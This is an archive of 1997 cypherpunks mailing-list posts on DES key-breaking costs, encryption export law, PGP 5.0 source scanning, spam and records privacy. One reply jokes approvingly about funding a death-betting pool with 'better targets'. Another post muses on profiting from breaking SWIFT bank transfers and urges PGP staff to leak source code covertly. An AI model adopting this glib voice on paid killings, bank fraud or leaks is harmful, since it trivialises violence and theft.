MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970623234433.031133c8@popd.ix.netcom.com>, on 06/23/97 
   at 11:44 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>At or before 09:44 AM 6/23/97 -0400, some provocateur wrote: ...
>>Leading eCa$h candidates for dying at an opportune time to make some
>>perennial loser "Dead Lucky" are:
>...[targets deleted, with prices from $514 to 2,610.02 ]

>>Leading Contributors/Bettors:
>>The James Gang
>>The Dalton Gang
>>The Bell Gang
>>William Geiger III

>You've done an inadequate job of implementing your protocol, endangering
>your customers far more than your targets.
>[And your customers are _cheapskates_ as well :-) ]

well, well, well...

Not that I have a problem being associated with an AP betting pool I do
take exception to being called cheap!! :)

If I had been involved in such an operation their are two thing that you
can be sure of:

1. I would have picked better targets
2. I would have supplied sufficient funds to get the job done.

BTW who the hell is Cindy Brown??

>A proper bot would accept contributions from
>Public Key 0x23DEADBEEF9999999
>Public Key 0x45BEEFDEAD9854355
>and similar one-use identities.

As far as the contributors no id is necessary all that is needed is the
e$cash

Anonymous bank account #'s for where the funds should be deposited should
be sufficient for the payoff.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
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fCPvve9MVmvyVfmCuVbmPbCtte0tKPdkg677E2QGwf1yBZs9sGWVhCipiIiL+APu
MpnRxMNX+BuK+Tyq5DIiw5w2UdkwvoDwEl01fqvFCuoIQDsP7M3Y1gc8xHoEcSRe
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 24 Jun 1997 10:38:05 +0800
To: cypherpunks@toad.com
Subject: Re: Child Porn 3 [JPG]
In-Reply-To: <199706231803.OAA12416@dhp.com>
Message-ID: <19970624021655.17871.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



> Here, yet again, is the same Time-Life child pornography picture, which
> is encrypted with the public keys of people I don't know from squat.
> Nonetheless, they are now co-conspirators in the Time-Life/Cypherpunks
> child pornography ring.
> Since they are unwitting participants in the spread of this filth
> across the internet, I would suggest that they contact law enforcement
> officials and offer to testify against the cypherpunks and employees
> of Time-Life in return for immunity or reduced sentences ending in ...

Baayen, R. H., van Halteren, H. and Tweedie, F. J. (1996).  Outside the
Cave of Shadows: Using syntactic annotation to enhance authorship
attribution. Literary and Linguistic Computing, 11 (3). pp. 121-131.

Bailey, Richard W., (1979). Authorship attribution in a forensic setting.
D.E. Aeger, F.E.Knowles & J.Smith (Eds). Advances in Computer-Aided Literary
and Linguistic Resaerch. Proc. 5th Intl. Symposium on Computers in
Literary and Linguistic Research, Birmingham, 1978.

Brainerd, B., (1974). Weighing evidence in language and literature: a
statistical approach. University of Toronto Press. Toronto.

Brainerd, B.  (1988).  Two models for the type-token relation with time
dependant vocabulary reservoir.  P. Thoiron, D. Serant & D. Labbe (Eds.).
Vocabulary structure and lexical richness.  Champion-Slatkine.  Paris.

de Morgan, Sophia, E.  (1882). Memoir of Augustus de Morgan by his wife
Sophia Elizabeth de Morgan with selections from his letters.
Longmans, Green, and Co.  London.

Ellegard, A.A.  (1962). A Statistical Method for Determining Authorship:
The Janus Letters, 1769-1772.  University of Gothenburg.  Gothenburg.

Fucks, W.  (1952). On the mathematical analysis of style.
Biometrika 39.  pp. 122-129.

Grayston, K. & Herdan, G.  (1959). The authorship of the Pastorals in the
light of statistical linguistics.  New Testament Studies 6. pp. 1-15.

Holmes, David, I.  (1994). Authorship attribution.  Computers and the
Humanities 28.  pp. 87-106.

Holmes-Higgin, P.R. (1995). Text Knowledge: the Quirk Experiments.
Ph.D. Thesis, Dept. Mathematical and Computing Sciences, University of
Surrey, Guildford, England.

Honore, A.  (1979). Some Simple Measures of Richness of Vocabulary.
Association for Literary and Linguistic Computing Bulletin 7.
pp. 172-177.

Hubert, P. & Labbe, D.  (1988). A model of vocabulary partition.
Journal of the Association for Literary and Linguistic Computing 3.
pp. 223-225.

Ledger, Gerard R. (1989). Re-counting Plato: A Computer Analysis of
Plato's Style.  Clarendon Press.  Oxford.

Matthews, Robert & Merriam, Thomas V.N.  (1993). Neural computation in
stylometry I: an application to the works of Shakespeare and Marlowe.
Literary and Linguistic Computing 8 (4).  pp. 203-209.

Matthews, Robert & Merriam, Thomas V.N.  (1994). Neural computation in
stylometry II: an application to the works of Shakespeare and Marlowe.
Literary and Linguistic Computing 9 (1).  pp. 1-6.

Mendenhall, Thomas C.  (1887). The Characteristic Curves of Composition.
Science IX.  pp. 237-249.

Orlov, J. K.  (1983). Ein Modell der Haufigkeitsstruktur des Vokabulars.
H. Guiter and M. Arapov (Eds), Studies in Zipf's Law, Bochum: Brockmeyer,
pp. 154-233.

Ratkowsky, D.A. & Hantrais, L.  (1975). Tables for comparing the richness
and structure of vocabulary in texts of different lengths.  Computers and
the Humanities 9.  pp. 69-75.

Sichel, H.S.  (1974). On a distribution representing sentence-length in
written prose.  Journal of the Royal Statistical Society (A) 137.  pp. 25-34.

Sichel, H.S.  (1986). Word frequency distributions and type-token
characteristics.  Mathematical Scientist 11.  pp. 45-72.

Tweedie, Fiona J., Singh, S. & Holmes, David I.  (1994). Neural Network
Applications in Stylometry: The Federalist Papers.  Proceedings of the
3rd Conference on the Cognitive Science of Natural Language Processing,
Dublin City University, Dublin, 7-8 July 1994.

Tweedie, Fiona J., Baayen, R. H.  (1997). Lexical `constants' in
stylometry and authorship studies.  To appear.

Yule, George U.  (1938). On sentence-length as a statistical characteristic
of style in prose, with application to two cases of disputed authorship.
Biometrika 30.  pp. 363-390.

Yule, George U.  (1944)
The statistical study of literary vocabulary.  Cambridge University Press.
Cambridge.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Tue, 24 Jun 1997 12:12:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: How did these people find our list?
In-Reply-To: <v03102801afd44ad76fad@[207.167.93.63]>
Message-ID: <Pine.SUN.3.95.970624040310.6939A-100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Tim May wrote:

> there has been no credible threat of attack or invasion of the states in
> America in at least 170 years, what you were largely agreeing to protect

	Pearl Harbour.

	The State of Oregon << The only state to have been bombed by
	a foreign country.  >>  during World War Two.

          xan

          jonathon
          grafolog@netcom.com


	Monolingualism is a curable disease

	Allichu         Yusulpayki      Ari     Manan  Allin    Maypin...?
	olu olu	        mahalo		ae      a o le	po no	ho omaopo po?
	S'il vous plait	Merci		Oui	Non	Bon	Ou est...?
	Proht		Khop khun	Dja	Plaau	Sabai dii   Treh nai...?
	Por favor	Gracias		Si	No	Bueno	?Donde esta...?	
 	Bitte		Danke		Ja	Nein	Gut	Wo ist...?
	Faca favor	Obrigado 	Sim	Nao	Bom	Onde...?
	Per piacere	Grazie		Si	No	Buono	Dov'e...?
	Var vanlig	Tack		Ja	Nej	God	Var...?
	Ole hyva        Kiitos  	Kylla   Ei      Hyva    Missa ...?
	Silakan 	Terima Kasih	Ja	Tidak	Bagas	Dimana...?
	Merher-bani	Danyavad	Han	Nahin?	Bahut   Kahan...?
	Seh merher-bani	Shukria		Han	Nahin?	Bahut	Kahan...?
	Dozo		Arigato		Hai	Iye	Yoi    ...doko desu-kai?
	Ching		Doh shieh	Shih	Boo shih  Hao   ...ts'ai na li?
	Xin ong		Cam on ong	Vang	Khong	Tot lam  O dau?
	Var venlig	Takk		Ja	Nej	God	Hvor...?
	Asablief	Baie Danke	Ja 	Nee	Goed	Waar is..?
        Alstublieft     Dank U  	Ja      Nee     Goed    Waar...? 
	Vennlist	Takk		Ja	Nei	God	Hvor...?
	Parakalo	Efharisto	Neh	Ohi	Kala	Poo ine...?
	Bevakashah	Todah rabah	Ken	Lo	Tov	Efoh...?
	Lutfen		Tesekkur	Evet	Yok	Iyi	Nereye...?
	Molim		Hvala		Da	Ne	Dobro	Gdje...?
	Tafadhali	Asanti		N dio	La	Nzuri	Wapi...?
	Pazahal'sta	Spasiba		Da	N'yet	Harasho  Gd'yeh...?
	Prosze		Dziekuje	Tak	Nie	Dobrze	 Gdzie...?
	Herem		Koszonom	Igen	Nem	Jol	Hol...?
	Va rog		Multumesc	Da	Nu	Bine	Unde...?
	Min faadlak	Shukran		Naam	La	Mlih	Wen...?
	Min faadlik << feminine form >>
	...jusipsyo	Komapsumnida	Ne	Aniyo	Tadaghi chosumnida
								Oti...?
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 24 Jun 1997 20:21:25 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: How did these people find our list? (fwd)
Message-ID: <199706241153.GAA25486@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 24 Jun 1997 04:05:42 +0000 (GMT)
> From: jonathon <grafolog@netcom.com>
> Subject: Re: How did these people find our list?

> 	The State of Oregon << The only state to have been bombed by
> 	a foreign country.  >>  during World War Two.

Brrrrppppp. Thank you for playing. Your consolation prize is a big whoopie
cushion.

Alaska was not only bombed by a foreign country (ie Japan) but it was the
only continental US location to actualy be invaded. Do a search on Kiska and
Dutch Harbor on Yahoo....

Hawaii was also bombed and last time I checked it was part of the US, the
same goes for Wake Is., Midway Is., and Phillipines.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Tue, 24 Jun 1997 21:33:09 +0800
To: Rick Smith <smith@securecomputing.com>
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <199706241313.JAA00037@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain



>>>>> "Rick" == Rick Smith <smith@securecomputing.com> writes:

>> I can't remember it word for word, but it went like this: "If
>> you're going to decrypt financial transactions you'd better be
>> prepared to get 1000 computers and spend 3 months on the project."

Rick> At least Harry Houdini made it look easy when *he* cracked state
Rick> of the art security technology...

I was on the Talk America radio network very briefly Monday morning
(about 6:30-6:40 EDT).  The host read something like that, and
observed that it "must be pretty secure" to take three months.

I asked him how long it would be before his credit cards expired.

He got the point.

-- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Pull AGIS.NET's plug!  DES has fallen! http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Tue, 24 Jun 1997 15:49:48 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <19970624093626.28356@amsqnt.nl.sequent.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3963.1071713710.multipart/signed"

--Boundary..3963.1071713710.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Jun 23, Lucky Green <shamrock@netcom.com> apparently wrote:
> At 11:46 PM 6/23/97 -0400, Adam Shostack wrote:
> >Lucky Green wrote:
> >| Who on this list intends to go to HIP'97? http://www.hip97.nl
> >| I would like to organize a C*punks meeting there.
> >
> >I'm going to go to Beyond Hope instead.  (www.2600.com)
> 
> Which will have live links with HIP. MBONE meeting, anyone?

There will  be links between HIP  and Beyond HOPE. Both  video and sound
(even GSM if the  patched phones will work in the US :-).  And I am sure
there will  be other cypherpunks  attending HIP  (I for one  will attend
HIP).

> --Lucky Green <shamrock@netcom.com>

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster on http://www.IAEhv.nl/users/hvdl ==============
     ,;( )_, )~\| Hans "Unicorn" Van de Looy     PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;   GSM: +31 653 261 368                52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========



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Content-Transfer-Encoding: base64
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Content-Description: "PGP signature"

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S1k5bmFEVTUzOHYzK01nTkltczkKbEZZN2RCbitlbmFqeXVDU2IvbjZTUTZ4
VW00RHBmUzRhdC82ckswZzYrQWtFVnhqS3NsRFZxK3E4NzZzKzFscApHYjhh
RXJ2ZDVxeGtNNE1qaW9vczNsZFlDSnZVYVo3VGRiYUtsYmFFNDhldzYrRENK
Y0w1UWpPTkQvT1Y1MUNCCnBGSmxXOEk4alFUaUNRaXlkdURaTlVjSkFXWWhR
dUhibTd6UzlLeVRlTGR4RUlMZERlYlRaNmRnQ2krRUVwc0gKMFFKeXJGNWdk
eW9SanRwZ1Q2clhPakh1K0czYXFGY3gzYlZtbEx4Q2p2SngwSG5xZ0lPNEtZ
QjRUc3JOcWJwTwpFMkVHUFkwaHFJUmUzN2N3RXIvaWo3bXB0Z1RweDM0QTJy
TkhWTitvMk41MU1lb1hvT0NDbmc9PQo9NnZDdAotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3963.1071713710.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Tue, 24 Jun 1997 07:55:45 +0800
To: cypherpunks@toad.com
Subject: The spam thread
Message-ID: <Pine.SOL.3.91.970624093724.9216A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



Ooops,

looks like i started a raging debate. Sorry if this debate bores anybody 
but as was said to me, just delete it.

I notice nobody commented on the i just dont want advertising in my 
mailbox point, and why shouldn't they be billed. 

What i suggested WASN'T a new law that could be abused etc. It was a very 
minor legal precedent, where the owner of a phone or email box could be 
paid for advertising in in IF the marketer was informed. 

To Ross, SPAM may be freedom of expression as my child pornography, but 2 
things,

1. What about my rights to privacy, and my rights to my mailbox that I 
pay for. Why should it be used as an advertising medium if i font want it 
to be used for one ??

2. By your argument, mailbombing of all flavours is free expression and 
should be allowed. Seeing as this follows logically RU going to get upset 
if i mail bomb you ??

All this started when i asked if SPAM might be coming through this list, 
i didn't think it would have tyhis effect, but discussion is healthy.

Anyway shall we let this thread die at this point ??

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 24 Jun 1997 22:23:34 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Comparing Cryptographic Key Sizes
Message-ID: <199706241351.GAA20823@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes.

> Below is a explanation of the meaning of cryptographic key sizes which
> started as an explanation I wrote for a journalist friend of mine, on
> being asked about how relatively secure a system using DES and RSA
> (SET) was as compared to netscapes export version of SSL.
 
> It could use some criticism.  If you are not that crypto aware, does
> it make sense to you?  If you are crypto aware, what do you think of
> my off the cuff estimates of hardness?
> 
> 
> 56 bit DES is probably roughly similar to 512 bit RSA in hardness to
> break.

This is way off. We used ~457,000 MIPS years to search half of the 
DES keyspace. Factoring a 512 bit modulus using the General Number
Field Sieve (GNFS) would take about 28,000 MIPS years (see Schneier
for the exact number - I don't have AC2 at hand)

Lenstra has estimated that with 500,000 MIPS years, you should be
able to factor a 600 bit modulus using GNFS, if your workstations 
had enough memory.

[...]

> About 10 years ago now Michael Wiener made a design for such a DES
> breaking machine.  He estimated it would cost $10,000,000 to build a
> machine which would break a 56 bit DES encrypted message a few hours.
> His machine was scalable, pay more money, break the key faster, pay
> less take longer.  The estimate was that could build one with enough
> DES key searching units to break it in a day for $1,000,000.  That was
> 10 years ago.  10 years is a long time in the computer industry.
> Nowadays you build the machine more cheaply as chip technology has
> progressed, and computers are much faster per $.  Estimates are around
> $100,000 to build the machine (neglecting hardware engineers
> consultancy fees).

Go back and check the numbers - if you don't the journalists will. 
(I don't have this paper to hand either :-( ) The Wiener paper is 
much more recent (93?) , and the cost much lower (I think it was 
about $1M for HW and $500K for development costs, for a 3.5 hour 
machine).

Peter Trei
trei@process.com
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 25 Jun 1997 01:24:31 +0800
To: cypherpunks@cyberpass.net
Subject: Political Prisoner of Intel
Message-ID: <199706241712.KAA10035@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain





         http://www.rahul.net/jeffrey/ovs


--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Wed, 25 Jun 1997 01:29:32 +0800
To: cypherpunks@Algebra.COM
Subject: CNN - Encryption bill expected to pass House - June 23, 1997
Message-ID: <33B003B5.689A@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.cnn.com/TECH/9706/23/encryption.reut/index.html

Encryption bill expected to pass House

June 23, 1997
Web posted at: 10:05 p.m. EDT (0205 GMT) 

WASHINGTON (Reuter) -- Legislation to
relax U.S. export limits on computer-encoding
technology is likely to move ahead in the
House of Representatives this week, despite
a severe setback in the Senate last week. 

The House International Relations' economic
policy and trade subcommittee will vote on a
bill Tuesday, chairwoman Ileana
Ros-Lehtinen, Republican of Florida, said. 

Current U.S. law strictly limits export of encryption software, which
scrambles
information and renders it unreadable without a password or software
"key." 

Once the realm of spies and generals, encryption has become a critical
technology to safeguard electronic commerce and global communications
over
the Internet. 

In the Senate last week, a similar bill to relax encryption-export
controls was
torpedoed when the Senate Commerce Committee approved a substitute which
would only modestly ease export restrictions. It effectively would allow
the
government to crack encrypted messages in the United States by gaining
access
to the software keys. 

The Clinton administration has been a strong proponent of so-called
key-recovery mechanisms, arguing that the proliferation of strong
encryption
without key recovery would hamper law-enforcement and national security
agencies' ability to keep tabs on criminals and terrorists. 

The House bill under consideration relaxes export rules without
requiring key
recovery. 

With 125 co-sponsors in the House, and "enthusiastic support" from
industry
and civil liberties and privacy advocates, the bill "is expected to be
passed with
limited changes," Ros-Lehtinen added. 

The bill could face a tougher challenge when considered by the full
International
Relations Committee. Chairman Benjamin Gilman, Republican of New York,
is
not a strong supporter of export liberalization, congressional staffers
said. 

U.S. software companies such as Netscape Communications, and Microsoft
Corp. have been clamoring for relief from encryption export controls. 

Copyright 1997 Reuters Limited. All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 24 Jun 1997 22:47:59 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: How did these people find our list? (fwd)
In-Reply-To: <199706241153.GAA25486@einstein.ssz.com>
Message-ID: <3.0.2.32.19970624103011.0077d820@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



------BEGIN PGP SIGNED MESSAGE-----

At 06:53 AM 6/24/97 -0500, Jim Choate wrote:
>Alaska was not only bombed by a foreign country (ie Japan) but it was the
>only continental US location to actualy be invaded. Do a search on Kiska and
>Dutch Harbor on Yahoo....
>
>Hawaii was also bombed and last time I checked it was part of the US, the
>same goes for Wake Is., Midway Is., and Phillipines.

Though neither Alaska nor Hawaii were states at the time.  Oregon was 
actually hit twice.

June 21, 1942, Fort Stevens at the mouth of the Columbia in Oregon is fired 
upon by the deck gun of a Japanese submarine. The first continental costal 
battery to be attacked by a foreign enemy (not counting those Southerners) 
since the War of 1812.  The Japs fire 17 shells. No apparent damage.  Fort 
Stevens is unable to depress its guns sufficiently to hit the submarine.  A 
draw.

See http://www.ohwy.com/or/f/ftsteven.htm and
http://www.owt.com/phs/classrooms/peto/3forts/stevens.html

Oregon also suffered the U.S. Mainland's only domestic casualties due to 
enemy action when a teacher and members of her family on a hike in southern 
Oregon were killed by a Japanese balloon bomb.  (These bombs were attached to 

balloons released from Japanese submarines off the coast.)

That doesn't excuse Oreganos being commies, however.

DCF


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Charset: noconv

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mbR6CVG6L/k=
=xSVQ
------END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 25 Jun 1997 02:01:11 +0800
To: Mark Grant <cypherpunks@toad.com
Subject: Re: New PGP signatures (fwd)
In-Reply-To: <Pine.SOL.3.96.970624020657.16641D-100000@sirius.infonex.com>
Message-ID: <3.0.2.32.19970624104616.006fa0ec@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:08 AM 6/24/97 -0700, Mark Grant wrote:
>It's kind of hard to modify the code when I'm still waiting for the PGP
>5.0 code to be made available. I can't do a lot until people finish
>OCR-ing it. 

Note that the scanning teams are looking for non-US volunteers to proofread
the scanns. Each volunteer gets 100 pages. They must have access to a box
with perl and a C compiler to process the per-page error correcting code.
You *don't* need a scanner.

See http://www.ifi.uio.no/pgp/pgp50.shtml for more info.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chewp@pacific.net.sg
Date: Tue, 24 Jun 1997 11:12:47 +0800
To: cypherpunks@toad.com
Subject: digital signature software
Message-ID: <19970624025616.AAA17409@ping>
MIME-Version: 1.0
Content-Type: text/plain




Hi

Besides PGP and RIPEM/SIG, is anyone aware of other
US-exportable digital signature software?

Thanks

Lip Ping

chewp@pacific.net.sg





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 25 Jun 1997 02:24:22 +0800
To: tzeruch@ceddec.com
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <97Jun24.134510edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.GSO.3.96.970624110719.3045A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997 tzeruch@ceddec.com wrote:

> 
> On Sun, 22 Jun 1997, Robert Hettinga wrote:
> 
> > You just need to tell them that S909 will kill the commercial internet, and
> > all the billions that have been invested in it.
> 
> More to the point, it will kill the commercial internet within the US.  We
> could ban steelmaking for environmental or safety reasons, which would not
> stop it, but then our steel producers and automakers would be out of
> business.  I think the US may have one, maybe two years before we lose the
> entire crypto industry to overseas.  We may still write the academic
> articles, but all the software and hardware will be imported.  After all
> the problems about losing jobs, we are actively destroying this sector of
> high technology.

Not only that, it will open up many (most?) US systems up to being hacked
by making effective and usable forms of security either expensive or
unworkable.  (How much of the free security software is distributed
through universities and government agencies?  Quite a bit from what I
have seen.)

S909 will be a disaster no matter how you look at it.  It will weaken
security for much of the net.  I find the idea that this is being done for
"National Security" to be frightening.  Can they really be that clueless
or is something else planned?  All this to prosecute (not even really
catch) a hand full of kiddy pornographers...

"We had to destroy the global village in order to save it." - Sen Kerrey.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 02:40:59 +0800
To: cypherpunks@cyberpass.net
Subject: Making _Real_ Money off a DES Break
In-Reply-To: <3.0.2.32.19970624162104.007bb990@middx.x.co.uk>
Message-ID: <v03102803afd5c15420c6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:54 AM -0700 6/24/97, Adam Back wrote:
>Re comments that I should re-read the paper, here is what Wiener's
>paper says about estimated costs of a specialized DES key breaker:
>
> $100,000 for a machine to break DES in an average of  35 hrs
> $1 mil   for a machine to break DES in an average of 3.5 hrs
> $10 mil  for a machine to break DES in an average of  21 mins
...
>35 hours sounds a reasonable amount of time to break a Swift banking
>transfer key protecting trillions of dollars of funds.
>

Show me the money! A DES break that resulted in a loss of several tens of
millions of dollars, suitably publicized, would be both educational and
rewarding.

We often talk about the "threat model." But what's the _profit model_ for
breaking DES?

Can money be made by breaking a SWIFT transfer in approx. 35 hours?

(Personally, I doubt it. Between increasing use of 3DES and "time windows"
which are probably much shorter than tens of hours, I doubt a Wiener
machine would be of much use to a hacker.)

Of course, the payoffs could be huge. If the banking system is really
vulnerable to this sort of attack, then why has some private group not
financed the building of a Wiener machine? (I know many people who could
pay for such a machine out of "spare cash," if the profits/risks were
there; I'm not saying *I* would, of course, only that the amounts are not
so high. The cheapest of the listed machines above is comparable in price
to a Jaguar XK8.)

Is anyone publishing on this? Are the details of the SWIFT and similar
interbank transfer systems available anywhere?

(What kind of out-of-band checksums may exist? What kind of callback
systems? What window of opportunity exists if a single DES key is found? Is
it useful?)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bull@juno.com
Date: Wed, 25 Jun 1997 00:00:07 +0800
To: cypherpunks@toad.com
Subject: [ PGP 2.6.3 ]
Message-ID: <19970624.114147.7679.2.bull@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Can someone give me a site where I can get a compiled copy of PGP 2.6.3?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 02:55:08 +0800
To: cypherpunks@Algebra.COM
Subject: Liberating PGP 5.0 Source Code the Old-Fashioned Way
In-Reply-To: <Pine.SOL.3.96.970624020657.16641D-100000@sirius.infonex.co m>
Message-ID: <v03102804afd5c4beee42@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:46 AM -0700 6/24/97, Lucky Green wrote:
>At 02:08 AM 6/24/97 -0700, Mark Grant wrote:
>>It's kind of hard to modify the code when I'm still waiting for the PGP
>>5.0 code to be made available. I can't do a lot until people finish
>>OCR-ing it.
>
>Note that the scanning teams are looking for non-US volunteers to proofread
>the scanns. Each volunteer gets 100 pages. They must have access to a box
>with perl and a C compiler to process the per-page error correcting code.
>You *don't* need a scanner.

A lot of work that could better be spent in other areas.

Why doesn't one of the many persons with access to the PGP 5.0 code already
in machine readable form just mail it to the group doing the scanning and
whatnot?

(Using remailers, obviously. And even making it look like a porno image
file. Whatever. Even easier: just put the source code CD-ROM in an envelope
and mail it to Norway. "Duh.")

This would shorten the process, and the Norwegian group could announce
"We're done!!!"

So, PGP employees, do it today.

(Or send me the source on CD-ROM.....)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 25 Jun 1997 00:07:05 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: William Just doesn't get it.
In-Reply-To: <199706240318.WAA01933@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.96.970624113126.8208A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, William H. Geiger III wrote:

> Only one here being clueless is you Ray.

Thanks for the compliment.  I burp in your general direction.
 
> The state is not allowed to engage in secret activities with select
> members of society. Whenever it issues a permit or a license to someone it
> is public knowledge. Whenever someone is arrested, whenever there is a
> trial both great and small the full details are public information.

Asking the state to protect my privacy by not disclosing the information I
disclose to it is not asking the state to engage in secret activities with
select members of society.  It is asking it not to release information
that I am forced to give them in return for certain goods, services, or
privilidges - driving for example.  Having a driver's license doesn't mean
I wish to share the information that the DMV requires to provide such a
license to the world.

Paying taxes doesn't mean I wish to disclose my 1040 form to the world.
 
> All actions of the state *must* be reviewable by the citizens. You can not
> have a free and open society without the people being able to check on
> what it's government is doing.

And tell me dear William, in what way will you prevent the government from
taking capricious actions against a free and open society by allowing
anyone to find out a phone number that is unlisted by simply calling up
DMV records?

This isn't keeping tabs on the government, this is keeping tabs on the
people which the government choses to infringe on.

If the DMV wasn't giving licenses to certain types of people and one
believed that this was the case, one should ask those people who felt that
they were discriminated against.  One should not have the ability to look
at EVERY record in the DMV databases - no matter how noble the thought.

This is not to protect the DMV, this is to protect those listed within its
databases.

> This means that all of the following *must* be open to the public:

Again, by your oppinion, not mine.  And no, I don't believe in a "free and
open" society.  I believe in a "free and private" society.
 
> Criminal Records

As for these, IMHO, once a criminal has completed their sentence they
should be allowed to have a life.  Having these records available to all
is a means of discriminating against them for having commited a crime as
